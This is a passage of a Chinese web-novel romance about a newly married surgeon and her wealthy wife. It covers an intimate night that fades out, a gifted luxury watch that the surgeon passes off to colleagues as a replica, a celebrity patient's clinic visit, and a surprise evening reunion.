温言忽然倾身向前,捧住靳子衿的脸,大拇指抚摸着对方微张的唇瓣,哑声问:“要做吗?”
靳子衿明显怔住了。
她似乎没跟上这跳跃的思维,眼神里掠过一丝真实的困惑:“……什么?”
但温言没有给她厘清疑问的时间。
她低头,吻了上去。
这个吻带着明确的侵略性,急切,深入,甚至有些鲁莽。
温言的手从靳子衿的脸颊滑到她后颈,掌心贴着那截优雅的弧度,稍稍用力,将两人的距离缩至为零。
靳子衿的呼吸窒了一瞬。
随即,她闭上了眼。
没有推开,没有质问,甚至没有一丝犹豫。
她抬起手臂,环住了温言的脖颈,指尖没入对方柔软的发间。
这是一个无声的许可,一场默契的共谋。
吻逐渐失控。
温言的身体压下来,将靳子衿困在自己与床头之间。
睡袍的腰带不知何时被扯松,丝滑的布料顺着肩线滑落。
暖黄的灯光流淌过暴露的皮肤,镀上一层蜂蜜般的光泽。
靳子衿在换气的间隙喘息,声音又软又黏:“你……突然发什么疯……”
温言吻着她的下颌,齿尖轻轻磨蹭那处细腻的皮肤,哑声回应:“不知道。”
她是真的不知道。
只觉得胸腔里那股汹涌的情绪必须找到一个出口。
感激,触动,归属感,还有一些连她自己都未曾明辨的占有欲……
所有这些混杂在一起,最终都化为此刻唇齿间最原始的索取。
她想确认。
确认靳子衿的温度,确认她的存在,确认这一切是不是真实的。
明明之前,她从未想过婚姻,伴侣,与自己有什么关系。
可命运突然转动,她的妻子来到了她的身边。
这一切都是真的吗?
不会是个梦吧?
不然怎么会有这么好的人呢?
靳子衿似乎听懂了她的未竟之言。
她低低笑了一声,那笑声闷在喉咙里,带着纵容的意味。
她抬起腿,膝盖蹭过温言的腰侧,将人更紧密地压向自己。
“那就……”她的唇贴着温言的耳廓,热气拂过,“做吧。”
两个字,像点燃最后引线的火星。
温言不再克制。
她的手探入睡袍之下,掌心贴住靳子衿腰侧温热的皮肤,沿着脊椎的凹陷一路向上。
骨科医生对骨骼与肌肉的熟悉,在此刻化为另一种形式的精准。
她知道按哪里会让对方轻颤,也知道抚过哪段脊节会引发压抑的呜咽。
靳子衿的呼吸彻底乱了。
她仰起脖颈,像濒死的天鹅,将自己最脆弱的弧度暴露在温言唇下。
温言顺从地吻上去,在那起伏的曲线上留下湿热的痕迹。
窗外夜色浓稠,万籁俱寂。
只有这间卧室里,交织的呼吸与压抑的低吟,构成了整个世界唯一的声响。
不知过了多久。
激烈的浪潮终于缓缓退去,余波仍在四肢百骸里荡漾。
温言伏在靳子衿身上,额头抵着她的肩窝,平复着呼吸。
两人身上都覆着一层薄汗,皮肤相贴处黏腻温热。
靳子衿的手有一下没一下地抚着温言汗湿的后背,指尖无意识地在那些清晰的肩胛骨轮廓上画着圈。
许久,温言才闷闷地开口,声音还带着情欲褪去后的沙哑:“谢谢。”
靳子衿的手停住了。
“谢什么?”她问,声音也有些哑,却多了几分慵懒的柔软。
“戒指。”温言说,顿了顿,“还有……所有。”
靳子衿沉默了片刻。
她抬起手,轻轻揉了揉温言的后脑勺。
动作很轻,像在安抚某种不安动物:“这是我应该做的。”
所以你不用谢啊,因为我们是彼此的伴侣。
没有多余的承诺,没有煽情的回应,但温言听懂了。
她“嗯”了一声,从靳子衿身上滑下来,躺到她身侧,第一次主动伸出手臂,将人圈进自己怀里。
靳子衿非常喜欢她的主动,她调整了一个更舒适的姿势,将脸埋进温言的肩窝。
床头灯还亮着,在两人交叠的身体上投下温暖的光晕。
温言看着靳子衿在自己怀中逐渐放松的睡颜,目光最后落在她搭在自己腰间,那只骨节分明的手上。
无名指的位置,空空如也。
但很快,就不会是了。
真好啊,她有老婆唉。
而且老婆还这么好,温言你也太走运了吧。
你果然运气好到爆炸了。
她伸手握住靳子衿的手,低头吻了吻她的发顶,然后伸手,关掉了灯,闭上了眼睛。
14.忽然结婚啦:14
凌晨六点,生物钟如精密的发条,将温言从浅眠中准时唤醒。
身侧,靳子衿还在沉睡。
女人侧卧着,半张脸陷在蓬松的枕间,浓密的睫毛在眼下投出浅浅的阴影,呼吸绵长安稳。
温言盯着她看了几秒,才极其缓慢地掀开被角。
她赤脚踩上微凉的地板,像逃离作案现场般,无声地挪出主卧。
一楼客厅空寂,落地窗外天色仍是沉郁的蓝灰。
她习惯性走向通往花园的玻璃门,手刚触到冰凉的金属把手,一股强劲的寒气便从门缝钻入,激得她裸露的小臂泛起细密的颗粒。
推开门,冷风如刃,扑面而来。
温言抬眼望去,原本茵绿的草坪覆上了一层银白的薄霜,在庭院地灯微弱的光线下,泛着脆生生的冷光。
远处的人工湖面,也凝结着冰晶似的纹理。
一场冷空气无声无息降临,冬天,真的来了。
她沉默地站在门口,感受着刺骨的冷意穿透单薄的居家服。
理智与惯性的博弈只持续了三秒,然后“砰”地一下关上门。
玻璃门被迅速合拢,锁扣发出轻微的咔哒声。
算了,今天就在室内吧。
温言转身,走向与客厅相连的玻璃花房。
恒温系统维持着适宜的湿度与温度,绿植在晨光熹微中舒展着肥厚的叶片。
她在一片较为空旷的绿萝架前站定,沉肩坠肘,缓缓起势。
两套拳打完,身上已覆了层薄汗,筋骨也彻底舒展开。
她收势吐息,走向厨房时,里面已传来隐约的声响和食物香气。
刘姨和另一位帮佣正在料理台前忙碌,见温言进来,都有些惊讶。
刘姨擦着手,笑眯眯地问:“温小姐,早啊,怎么起这么早?”
“早,刘姨。”温言点点头,目光扫过料理台上丰富的食材,“今天早餐我能参与一下吗?想煮个粥。”
刘姨连忙摆手:“哎呀不用不用,我们来就好,您去歇着。”
“没事,”温言看到厨房熬了白粥,立即挽起了袖子,露出线条流畅的小臂,“我会做艇仔粥。子衿她喜欢喝这个吗?”
昨晚靳子衿误以为是她下厨时,那句脱口而出的“今天是我老婆下厨吗”,语气里的期待,温言听得分明。
再加上昨天自己那番不管不顾的“冲动”,于情于理,都该有所表示。
靳子衿摆明了是要认真经营这段婚姻,她也不能这么不能不知好歹。
刘姨一听她要给靳子衿下厨,不仅不阻拦还连忙说:“小姐最喜欢喝艇仔粥了,太太亲自下厨,她一定会很高兴。”
温言洗净手,开始处理鲜虾、鱼片、干贝
。她的动作并不花哨,但极其利落精准。
剖虾线,片鱼片,浸泡干贝,每道工序都带着一种外科手术般的条理分明。
姜丝切得细如发,炸花生碾得酥脆适中,油条切成均匀的小段。
刘姨在一旁看着,忍不住赞叹:“太太这手法,真漂亮。”
温言只是淡淡“嗯”了一声,专注地盯着砂锅里逐渐翻滚出米花白粥。
火候、下料的顺序、调味的时机,她都把握得很好。
粥香渐渐弥漫开来,浓郁而鲜甜。
就在这时,楼梯方向传来轻微的脚步声。
温言回头,看见靳子衿披着件丝绒睡袍,倚在厨房门框边。
女人晨起未施粉黛,脸色有种慵懒的苍白。
她的长发松散地拢在一侧肩头,目光落在温言系着围裙的背影上,带着点刚醒的朦胧和毫不掩饰的惊讶。
“怎么进厨房了?”靳子衿走进来,声音还带着点沙哑,“没去锻炼?”
温言刚想开口,旁边的刘姨已经快人快语,笑吟吟地抢答:“小姐您不知道,温小姐对您可上心啦。特地起了大早,给您做您最爱的艇仔粥呢。”
“来来来,正好好了,您快尝尝!”
靳子衿无奈地瞥了刘姨一眼,语气却没什么力度:“刘姨,她有名字,叫温言,或者温小姐。别‘太太’‘太太’地喊,我们家不兴这套。”
刘姨只当没听见,手脚麻利地盛出一小碗。
雪白的粥底,粉嫩的虾仁、莹白的鱼片、金黄的油条段、翠绿的葱花点缀其上,热气腾腾:“小姐的‘太太’,那不就得叫‘太太’嘛,快尝尝咱们‘太太’的手艺!”
靳子衿:“……”
她接过瓷碗,指尖触到温热的碗壁,抬眸看向温言。
温言正安静地解着围裙,耳根似乎有点不易察觉的红。
靳子衿唇角弯了弯,低头,舀起一勺,吹了吹,送入口中。
粥底绵滑,米香纯粹,海鲜的鲜甜完美融入,油条和花生的脆香增添层次,姜丝去腥提鲜,一切都恰到好处。
她顿了顿,又吃了一口,才抬起眼,眼底有亮光:“很好吃。”
温言一直绷着的肩线,几不可察地松弛下来:“你喜欢就好。”
几人将早餐端至餐厅。
精致的骨瓷餐具,几样清爽小菜,中心便是那一大锅冒着热气的艇仔粥。
落座后,靳子衿一边慢条斯理地继续喝粥,一边状似随意地问:“你经常下厨?手艺不像生手。”
温言摇头:“不常做。”
“以前在学校,吃腻了食堂,有位学姐偶尔会给我们开小灶,跟着学过一点。”
“学姐?”靳子衿舀粥的动作微微一顿,抬眼,“就是你手受伤时,照顾你的那位?”
“嗯。”温言点头,并未察觉对方语气里那丝微妙的停顿。
靳子衿垂下眼睫,用勺子轻轻搅动着碗里的粥,声音听不出情绪:“看来,从她那儿学到的东西不少。”
温言终于听出了一点异样,抬眼看向靳子衿。
对方正专注地盯着粥面,浓密的睫毛掩住了眼神。
温言想了想,补充道:“只是厨艺而已。她很照顾我们这些学弟学妹。”
“哦。”靳子衿应了一声,语气平淡,“那现在你们还有联系?”
温言摇摇头:“她后来出国做访问学者,联系就少了,偶尔节日问候一下。”
靳子衿没再说话,只是继续喝粥。
但温言明显感觉到,餐桌上那点若有似无的微妙气压,似乎消散了。
——————
早餐过后,迈莎锐库里南平稳地驶向京华医院。
车内,温言看着窗外飞速倒退的街景,斟酌着开口:“子衿,明天我要去京大代课。“
”从家里过去太远,路上要三个小时,今晚我可能就不回去了,住学校附近的公寓。”
靳子衿正低头查看平板上助理发来的日程,闻言抬起头,有些讶异:“你还负责代课?”
“嗯。”温言解释,“我们医院和京大医学院有长期的科研与教学合作。”
因为形象符合要求,她也被安排了一门本科生选修课,《运动系统损伤与康复》,一周一节,一节四小时。
她顿了顿,想起那些阶梯教室里黑压压的年轻面孔和层出不穷的提问,轻轻叹了口气:“不想上课,还挺耗神的。”
除了教学,她还深度参与附属骨科研究院的几项课题,负责临床数据分析和部分实验设计,每周需要固定时间泡在实验室和会议室里。
这些她没细说,但靳子衿能猜到。
靳子衿点了点头,表示了解。“好。注意休息。”
她说着,忽然朝温言伸出手:“手给我。”
温言下意识伸出右手。
靳子衿轻轻拍了一下她的手背:“左手。”
温言这才换了左手递过去。
靳子衿握住她的手腕,另一只手,则从身后不知什么地方,摸出一个深蓝色丝绒方盒。
“嗒”一声轻响,盒盖打开。
里面静静躺着一块手表。
表盘是深邃的棕色珐琅,镶嵌着极细的罗马数字时标,皮质表带是油润的深棕色。
设计古典而低调,没有多余的钻石或复杂功能,但做工肉眼可见的精致考究。
温言愣住了。
靳子衿已经取出表,解开搭扣,动作自然地将它环上温言的手腕。
“咔哒”,表扣合拢,严丝合缝地贴着她腕骨凸起下方一寸的位置。
尺寸竟然恰到好处。
“戒指订做需要时间,”靳子衿一边调整着表带松紧,一边漫不经心地说,“但总得先有个像样的东西,戴在你身上。”
她抬起眼,看向温言:“医生可以戴表吧?不进手术室的时候。”
温言低头,看着腕间那块散发着温润光泽的物件,喉咙有些发紧:“可以。”
“那就好好戴着。”靳子衿的手指抚过表壳边缘,语气听起来温和,却又带着强硬的命令味道,“除了上手术台,不许摘。”
温言的心脏,又被那种飘忽不定的梦幻感所笼罩。
她抬起手腕,对着车窗透入的光线仔细看了看。
表盘在光线下流转着细腻莹润的光泽,像凝固的时光:“怎么突然想起送我这个,因为我今天给你做了早餐。”
靳子衿靠回椅背,目光落在她修长的手腕上,淡淡笑了一下:“一半一半吧。”
“另一半呢?”
靳子衿沉默了片刻,忽然伸手,指尖轻轻描摹着温言腕部清晰的骨节和淡青色的血管:“另一半……”
“看着你的手腕,就想给你戴点东西。手表,手环,或者别的什么。”她声音低了些,“戒指,手链,什么都好。”
就想套点什么东西上去,将你给老老实实地锁住了。
“但你是医生,”她收回手,语气恢复平常,“太张扬不适合。想了想,手表最妥帖。”
“喜欢吗?”
温言摩挲着微凉的表壳,她点点头,声音有点干:“喜欢。”
停顿几秒,又低声说:“就是觉得有点……不真实。”
“嗯?”
温言抬起眼,望向靳子衿。
女人的脸在车厢变幻的光影里,美得近乎虚幻。
“像在过家家。”温言坦白道,语气有些恍惚,“一切都好得太顺利,太甜蜜了。”
“靳子衿,你是真的吗?我不会是还没醒吧?”
靳子衿怔了怔,随即失笑。
她忽然倾身靠近,伸手,在温言脸颊上不轻不重地掐了一把“痛吗?”
温言感受着那点轻微的刺痛,老实回答:“不太痛。要不你再掐一下?”
靳子衿笑出声,指尖改为轻抚她刚才掐过的地方:“傻子。”
温言也跟着笑了,笑容里有些赧然:“我就是觉得这几天像踩在云上。很慌,又很高兴。”
靳子衿收敛了笑意,认真地看着她:“那你讨厌吗?”
“讨厌什么?”
“讨厌我的触碰,我送你东西,我介入你的生活,像现在这样。”
温言摇头,没有任何犹豫:“不讨厌。”
“和你在一起……”她斟酌着用词,“很舒服。心里很踏实。”
明明才相处没多久,她就觉得一切是那么的自然。
她就应该有个妻子。
靳子衿就是她的命中注定。
这样的好日子,她早就过了好几年。
靳子衿听懂她话语里的意思,眼底漾开柔软的光:“我也这么觉得。”
她握住温言戴着表的那只手,指尖在她掌心轻轻挠了挠:“温言,以后我还可以给你送东西吗?”
“当然可以。”
“那我送你什么,你都会接受吗?”
温言反握住她的手,十指交扣:“都会。”
靳子衿凝视着她,目光从她清澈的眼睛,又滑到她色泽健康的唇瓣上,心头那股躁动又涌了上来。
她心想:靳子衿,你真是被迷得不轻。
片刻之后,她遵循了那股冲动,倾身吻了上去。
这个吻开始得很温柔,像晨间花瓣上的露水,轻触即离。
但温言几乎在瞬间就做出了回应,她另一只手环上靳子衿的后颈,将她拉近,加深了这个吻。
气息交缠,逐渐紊乱。
唇齿间的厮磨带上了热度,急切地探索、占有、确认。
车厢内安静得只剩下暧昧的水声和压抑的喘息。
直到车子缓缓减速,即将驶入医院辅路,两人才喘息着分开。
温言的嘴唇明显肿了些,色泽嫣红。
靳子衿的唇妆也花了,唇瓣湿润微张,眼里蒙着一层动人的水汽。
车子停稳。
温言深吸一口气,平复心跳:“我今晚不回来,但明天晚工作结束,我尽量赶回来。”
“好。”靳子衿的声音还有点哑,她伸手,替温言理了理微乱的衬衫领口,“路上小心。”
“拜拜。”
温言推门下车。
初冬的冷风瞬间包裹上来,却吹不散她脸上和心头的热度。
她站在路边,看着那辆黑色的豪车无声滑入车流,直至消失。
心里忽然空了一块。
想她柔软的唇,想她拥抱时的体温和香气,想她指尖划过皮肤的触感,想她凝视自己时,眼底那些清晰又复杂的情绪。
不过分开片刻,思念已如藤蔓疯长。
她觉得自己被下了降头或者中了蛊。
否则,怎么会如此目眩神迷,如此魂不守舍。
——————
上午接连两台手术,消耗了大量精力和体力。中午时分,温言拖着略显疲惫的步伐走出手术区。
靳子衿让人送来的午餐,照例已经放在她休息室的桌上。
精致的多层漆木食盒,分量十足,荤素搭配,还有一盅炖得清亮的汤。
温言洗净手,坐下,打开食盒。
香气扑鼻。
她拿起手机,对着食物调整角度,想拍张好看点的照片发过去。
但她显然高估了自己在“拍照”这项技能上的天赋。
构图、光线、焦点……
怎么调都显得平淡甚至笨拙。
实习生邱波端着泡面进来时,就看到自家这位平时在手术台上稳如泰山的带教老师,正对着饭盒和手机屏幕眉头紧锁,手指戳来戳去。
浑身上下透着一股与高科技产品搏斗执拗感。
活脱脱的老年人。
“温老师,”邱波忍着笑,凑过去,“您这是要给师娘‘返图’?”
温言结婚的消息,早就像长了翅膀一样飞遍科室。
大家嘴上不说,心里都好奇得紧,连带着对“师娘”这个神秘人物也充满了八卦热情。
喜糖更是被明里暗里催了好几次。
温言有些尴尬地推了推眼镜,“嗯”了一声:“拍不好。”
“我来帮您。”邱波自告奋勇,放下泡面桶就接过手机,“这得讲究构图和光线,您让让。”
温言乖乖让开。
邱波调整了一下食盒的位置,用纸巾擦了擦边缘,又拿过温言的水杯当了个临时反光板,对着窗户的方向,“咔嚓”“咔嚓”连拍几张。
“光拍饭不行,得有人物入境,生活气息。”邱波指挥道,“老师,您捧着碗,笑一下。”
“对,自然点……哎呀太僵了,想想开心的事?比如师娘?”
温言试着牵动嘴角,挤出一个堪称“职业假笑”的表情。
这时,主治医师张盛晃悠进来,看到这阵仗,挑眉:“哟,太阳打西边出来了?温医生居然在拍照?拍给谁检阅呢?”
邱波嘴快:“给温老师的爱人,温老师在汇报午餐情况。”
张盛“哼”了一声,没说什么,眼神却在温言身上扫了一圈。
恰巧温言抬手时,袖口滑落,露出了左手腕上那块棕色表盘的手表。
邱波眼尖,立刻叫道:“老师,这表新买的?好好看,是师娘送的吧?”
温言下意识摸了摸表壳,点头:“嗯。”
“来来来,特写一个。撸起袖子,把表露出来,比个耶……对,就这样。”
温言有些无奈,但还是配合地照做。
比耶的手指略显僵硬,但腕间那块表在自然光下,质感的确出众。
陆续又有几个同事回到休息室,看到这一幕都笑着打趣了几句。
温言一贯话少,只是微微笑着,耳根微红。
邱波拍完,把手机递还,得意道:“搞定,保证师娘满意。”
“谢谢。”温言接过,想了想,“这个月你的食堂饭卡,刷我的吧。”
“哇!谢谢温老师,老师仗义。”
邱波欢呼。
温言低头,开始从十几张照片里挑选。
最后选了一张饭菜全景,一张自己捧着碗的侧影,还有一张露出手表比耶的特写,给靳子衿发了
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过去。
等待回复的间隙,邱波又凑过来,盯着温言的手表仔细看:“老师,这表什么牌子啊?设计真古典,皮质表带也好有质感。”
温言坦言道:“我不太研究表,不清楚具体型号。”
“我能拍一下搜搜看吗?就好奇。”邱波拿出自己手机。
温言无所谓地伸过手腕。
邱波对着表盘和表壳拍了几张清晰照片,导入某个识图软件。
几秒钟后,软件识别结果弹出。
邱波盯着屏幕,眼睛慢慢瞪大,嘴巴无意识地张开,倒吸了一口凉气。
“我……我草……”她猛地抬头,看向温言,声音都变了调,“百……百达翡丽?6002R-001?天文陀飞轮?”
她颤抖着把手机屏幕转向温言,上面显示着腕表的详细资料和估价。
“这这这……老师你这表……两千多万???”
休息室里瞬间安静下来。
所有目光,包括张盛的,齐刷刷聚焦在温言的手腕上。
温言自己也愣了一下。
她知道靳子衿送的东西不会便宜,但没想到会是这个量级。
她低头看了看腕间低调的棕色表盘,再抬头看向周围同事们震惊与探究的眼神。
沉默只持续了两秒。
温言无奈地笑了一下。
她转了转手腕,表盘在光线下划过一道润泽的弧光。
“仿的。”她语气平静,像在陈述一个客观事实,“手工定制的高仿,做得比较真。”
“几十万的东西,没那么夸张。”
她顿了顿,补充道:“她就是个小生意人,哪买得起真的。戴着玩玩罢了。”
这个解释合情合理。
几十万的表虽然也极其昂贵,但比起两千多万的天文数字,显然更容易被接受。
众人紧绷的神色明显放松下来,露出了“原来如此”的表情。
“我就说嘛……”
“高仿能做到这质感,也够厉害的了……”
“温老师,你爱人眼光真好,这仿品挑得真像!”
气氛重新活跃起来,大家开始讨论起高仿表的工艺和市场。
只有张盛,靠在门边,目光在温言平静的脸上和那块“高仿”表上停留片刻,眼底闪过一丝深思,但终究什么也没说。
——————
下午是温言坐班。
她提前了五分钟,进入自己的门诊办公室里。
温言坐在诊室里,一旁的手机,还停留在和靳子衿的聊天界面。
对方刚刚结束一个冗长的会议,总算有空回复,像批阅奏章一样,一条条回复她中午发去的消息和图片。
对于那张露出手表的“比耶”照,靳子衿显然很满意。
靳子衿:[图片]这张好。表很衬你。
温言:你送的表很好看。就是……太贵重了,我怕不小心弄丢或弄坏。
靳子衿:丢了就再买,坏了就修。戴在你手上的东西,不必战战兢兢。
温言:那可是……
靳子衿:区区八位数,戴得开心最重要。要不,明天开始给你配两个保镖?专门负责保护这块表?
温言:那还是算了。[擦汗.jpg]
靳子衿:怎么,嫌夸张?
温言:不是。你送的东西,我会小心保管,随身携带的,用不着保镖。
靳子衿:[笑脸]乖。
对话暂歇。
温言抬头,按下叫号器:“请15号,宋婳,到三诊室就诊。”
门被推开,一个穿着米白色长款羽绒服,戴着渔夫帽,黑色口罩和茶色大墨镜的娇小身影,有些迟疑地挪了进来。
她反手关上门,动作鬼鬼祟祟的
京华医院作为顶尖私立医院,经常接诊明星,名人或注重隐私的患者,对此类装扮早已见怪不怪。
“请坐。”温言语气如常,目光落在电脑屏幕上,调出患者的初步信息,“宋婳女士?哪里不舒服?”
对方在椅子上坐下,声音透过口罩,有些闷:“腰疼。”
“右边,靠近骶骨那边,酸胀疼,有时候连带右边屁股和大腿后侧也发麻。”
温言开始例行询问:疼痛多久了?
什么情况下加重或缓解?
有没有外伤史?
近期运动情况?
职业?
对方一一回答:疼痛断断续续大半年了,久坐或久站后加重,躺下能缓解。
没有明显外伤。
职业是……“舞蹈相关”。
近期排练强度大。
温言点点头,示意她到检查床上:“可能需要做几个体格检查,需要你配合。”
检查过程很顺利。
患者虽然包裹严实,但配合度很高。
温言的手法专业而利落,触诊、活动度检查、几个特殊的神经牵拉和骨科激发试验做下来,心里已经有了初步判断。
“从目前检查看,没有明显的神经根性体征,骨骼也没有大问题。”温言回到电脑前,开始开具检查单,“但为了排除一下,建议还是拍个腰椎和骶髂关节的CT,看得清楚些。”
“如果CT结果没问题,那你这个情况更可能是骶髂关节功能紊乱引起的牵涉痛,去康复科做几次针对性的手法松解和理疗,效果应该会不错。”
“好的,谢谢医生。”对方接过检查单,起身,走到门口又回头,墨镜后的视线似乎落在温言的胸牌上,“温言医生?”
“是我。”
“谢谢您。”
对方道了声谢,拉开门出去了。
忙忙碌碌两小时后,诊室的门再次被敲响。
宋婳拿着CT片子和报告回来了。
温言接过,对着观片灯仔细查看。
椎体序列正常,椎间盘未见明显突出或膨出,椎管无狭窄,骶髂关节面也光滑,只是关节间隙似乎略显不对称。
“CT结果挺好,没什么大问题。”温言放下片子,看向对方,“和我初步判断一致。”
“我给你开个转诊单,你去三楼康复理疗中心,找李主任或者他团队的治疗师,做几次骶髂关节的手法复位和稳定性训练。”
“平时注意姿势,避免久坐久站,局部可以热敷。”
她一边说,一边快速在电脑上操作。
“好的,明白了,谢谢温医生。”宋婳接过新的单据,却没有立刻离开。
她似乎犹豫了一下,然后抬手,摘下了口罩和墨镜,露出一张白皙精巧的瓜子脸。
眼睛很大,眼尾微微上挑,带着点天然的媚意,鼻梁高挺,嘴唇是时下流行的花瓣唇。
很漂亮,甚至有些眼熟。
温言隐约想起,似乎在护士站那些小姑娘看的的电视剧或广告里见过这张脸。
“温医生,”宋婳的声音清晰了许多,清亮悦耳,她看着温言,眼神里带着欣赏和一丝好奇,“您讲解得很清楚,让人特别安心。骨科的女医生好像不多见,您真厉害。”
温言只是平静地点点头:“分内之事。”
宋婳往前凑了凑,脸上露出一个明媚又略带讨好的笑容:“那个温医生,我能加您一个微信吗?”
“万一我后续康复有什么疑问,或者复诊想直接咨询您,会比较方便。”
她顿了顿,补充道:“当然,我绝对不会随便打扰您的,就是以备不时之需。”
诊室里安静了一瞬。
窗外的光线落在温言没什么表情的脸上,她腕间那块棕色的手表,表盘反射出一点微光。
温言抬起眼,看向眼前这位漂亮的女患者,目光平静无波,声音也一如既往的平稳:“医院有规定,医生一般不私下添加患者联系方式。”
“后续康复有任何问题,可以随时来医院挂号复诊,或者通过医院官方平台进行线上咨询。”
“我的出诊时间,在挂号系统里有明确公示。”
“这样啊……”宋婳脸上闪过一丝显而易见的失望,但很快又扬起笑容,“好吧,理解理解。”
“那谢谢温医生,我先去康复科了。”
“不客气,慢走。”
门轻轻关上。
温言的目光重新落回电脑屏幕,指尖在键盘上敲了几下,调出下一个患者的资料。
腕间的表,随着她的动作,无声地滑入衬衫袖口之下,只留下一道低调温润的暗芒。
15.忽然结婚啦:15
忙完最后一台会诊,温言总算可以下班了。
温言脱下白大褂,换上自己的黑色羊绒大衣,裹紧围巾,推开医院厚重的玻璃门。
冬夜的寒气瞬间扑面,激得她鼻尖一凉。
她缩了缩脖子,将冻得微红的手揣进大衣口袋,步履匆匆地走向地铁口旁的共享电瓶车停放点。
扫码,开锁,跨坐上去。
车子自带的防风手套笨拙厚重,但好歹隔绝了刺骨寒风。
她拧动把手,小巧的电瓶车便无声地滑入夜色中的车流。
霓虹灯影在湿冷的空气中晕开模糊的光团,掠过她没什么表情的侧脸。
不过十几分钟,她就到家了。
电梯直抵入户层,“叮”一声轻响,厚重的黑胡桃木双开门自动滑开。
玄关感应灯随之亮起,暖黄的光晕铺陈开来。温言踢掉短靴,赤脚踩上温热的橡木地板,冰凉的双脚瞬间被地暖包裹。
她没有开大灯,就着玄关和远处落地窗透入的城市微光,径直穿过空旷得近乎寂寥的客厅,走向西侧特意留出的健身区。
换上紧身的运动背心和短裤,戴上拳套。
“砰、砰、砰——”
沉闷而富有节奏的击打声在空旷的空间里回荡,伴随着她偶尔发力时喉间压抑的短促吐息。
沙包剧烈晃动,吊链发出吱呀的抗议。
汗水很快浸湿了她的背心,额发黏在光洁的额角。
这一个小时,是她一天中最快乐的时光。
一小时后,她浑身湿透地停下,胸口剧烈起伏。
缓了片刻,才摘下拳套,走向主卧的浴室。
热水冲刷掉疲惫和汗意,她换上柔软的灰色棉质居家服,用毛巾胡乱擦着半干的头发,走进厨房。
开放式厨房中岛台上,只亮着一盏精致的意大利吊灯,光线温暖地笼住料理区。
她从嵌入式冰箱里拿出一块冷冻牛排,丢进微波炉解冻。
又拿出一包速冻混合蔬菜粒,倒进小奶锅,加了点水,放在电磁炉上,“咕嘟咕嘟”地煮起来。
牛排煎好,蔬菜粒也煮软了。她端着盘子坐到中岛台旁的高脚凳上,拿出刀叉,又摸过手机。
屏幕亮起,微信图标右上角标着鲜红的数字。
她性子静,也怕吵,很早之前就把除靳子衿之外所有人的消息都设置了“免打扰”。
此刻点进去,未读消息堆积如山。
最上面是母亲汪曼玉的对话框,从昨晚到现在,陆陆续续发了三十多条。
温言指尖顿了顿,点开。
满屏的绿色长条语音。
不用听,她也知道内容。
无非是叮嘱她如何在靳家“好好表现”,如何“抓住子衿的心”,如何“早点为靳家开枝散叶”。
间或夹杂着对她哥哥温辰近况的担忧和抱怨,以及对靳家家世的反复惊叹与告诫。
温言面无表情地看了两秒,指尖上滑,退出。
一条都没点开。
她才不要听!
往下滑,是表姐汪晨雨的消息:「言言,昨天的事别往心里去。姨妈就是那个脾气,心是好的。姨父的话也是无心的,他们都是为你好。看到你和子衿感情这么好,我们都很欣慰。要一直幸福哦。[玫瑰]」
温言扯了扯嘴角。
汪晨雨永远是这样,言辞妥帖,姿态温柔,像个最通情达理的姐姐。
如果不知道她当年如何一边安慰失恋的闺蜜,一边不动声色地“接手”了闺蜜那位家境优渥的男友的话,谁都觉得她是个品德高尚,乐意助人的人。
虚伪得严丝合缝,道貌岸然得无可指摘。
温言连回复的欲望都没有,再次退出。
就在她放下手机,准备专心对付盘子里已经开始变凉的牛排时……
“叮咚。”
门铃声清脆地响起,在过分安静的空间里格外突兀。
温言动作一顿,蹙眉。
这里是四梯一户,物业管家没有预约绝不会上门。
爸妈?
他们有门禁卡,但来之前通常会打电话。
她没动。
“叮咚——叮咚——”
门铃不依不饶地又响了两声,带着点执着的意味。
温言放下刀叉,起身,踱步到玄关。
墙上的液晶显示屏亮着,高清摄像头将门外景象清晰呈现。
温言在看到来人的瞬间,瞳孔震颤。
是靳子衿。
她穿着一件长及小腿的米白色羊绒大衣,内搭浅灰色针织长裙,慵懒地斜倚在门框边。
女人似乎知道里面有监控,正微微仰着头,看向镜头方向。
廊灯在她脸上投下柔和的光晕,那双漂亮的眼眸里含着一点笑意,格外动人。
温言愣住了。
大脑空白了一瞬。
下一秒,她几乎是手忙脚乱地扑向门口,用力扳动沉重的黄铜门把手。
“咔哒”一声,厚重的实木大门向内打开,冬夜走廊里稍冷的空气涌了进来。
“子衿?”温言的声音带着难以置信的惊讶,“你怎么来了?”
靳子衿看着她微微睁大的眼睛和有些凌乱的头发,唇角弯起一个愉悦的弧度:“我回家需要理由吗?”
温言:“……”
心脏像是被什么东西轻轻撞了一下,酸软一片。
她说不清那瞬间涌上来的是什么情绪。
惊喜?
感动?
还是某种被填满的归属感?
她甚至没经过思考,身体已经先一步动作,上前一步,伸出双臂,将门外的女人紧紧拥入怀中。
这一整天,她其实都很想她。
温言把脸埋在靳子衿的肩颈处,情绪沸腾?
靳子衿低低地笑起来,抬手回抱住她,拍了拍她的背:“不带我进去吗?外面冷。”
温言这才如梦初醒,松开她,牵着她的手将她拉进温暖的室内。
“砰”地一声。
大门在身后合拢,将寒冷彻底隔绝。
玄关暖黄的灯光下,靳子衿低头看了看光洁如镜的地板:“有拖鞋吗?”
“啊,”温言这才想起,“我这里……没有备用拖鞋。”
她有些不好意思:“只有两双,都是我自己穿的。你不介意的话,可以穿我的吗?”
靳子衿抬眼,目光在空旷寂静的玄关和客厅扫了一圈:“你平时,不带朋友回来?”
“嗯。”温言点点头,语气寻常,“朋友很少,而且……大多不在国内。”
她的生活轨迹简单到近乎贫乏,医院、实验室、健身房、家,偶尔的学术会议。
社交于她,是耗能大于充能的事情。
靳子衿了然。
心里那点关于“妻子是个孤家寡人”的认知,又清晰了几分。
靳子衿很满意,声音柔和了很多,“那就穿你的。”
温言立刻从鞋柜里拿出自己那双干净的备用拖鞋,放在靳子衿脚前。
接着她非常自然地蹲下身,伸手握住了靳子衿穿着精致羊皮短靴的脚踝。
靳子衿微微一怔,垂眸看着蹲在自己脚边的女人。
温言低着头,浓密的睫毛在眼下投出小片阴影,神情专注,动作轻柔地帮她解开靴子的搭扣,褪下靴子,再套上那双属于她的拖鞋。
一切做得那么顺理成章,仿佛演练过无数遍。
就在温言低头给她穿鞋时,靳子衿的目光落在了她左手腕上。
那块棕色的珐琅手表,妥帖地戴在那里,表盘在灯光下流转着温润低调的光泽。
靳子衿更满意了。
等两只脚都穿好,温言站起身,拍了拍手,看向靳子衿,眼睛很亮:“欢迎回家。”
靳子衿心尖像是被羽毛轻轻搔了一下。
她上前一步,抬手环住温言的腰,将人带向自己,另一只手抚上她戴着表的那只手腕,指尖在表壳上轻轻摩挲。
“真听话,”她仰头看着温言,眼波流转,“一直戴着表。”
她的拇指蹭过温言的手背,语气像在夸奖一只守规矩的大型犬:“好乖。”
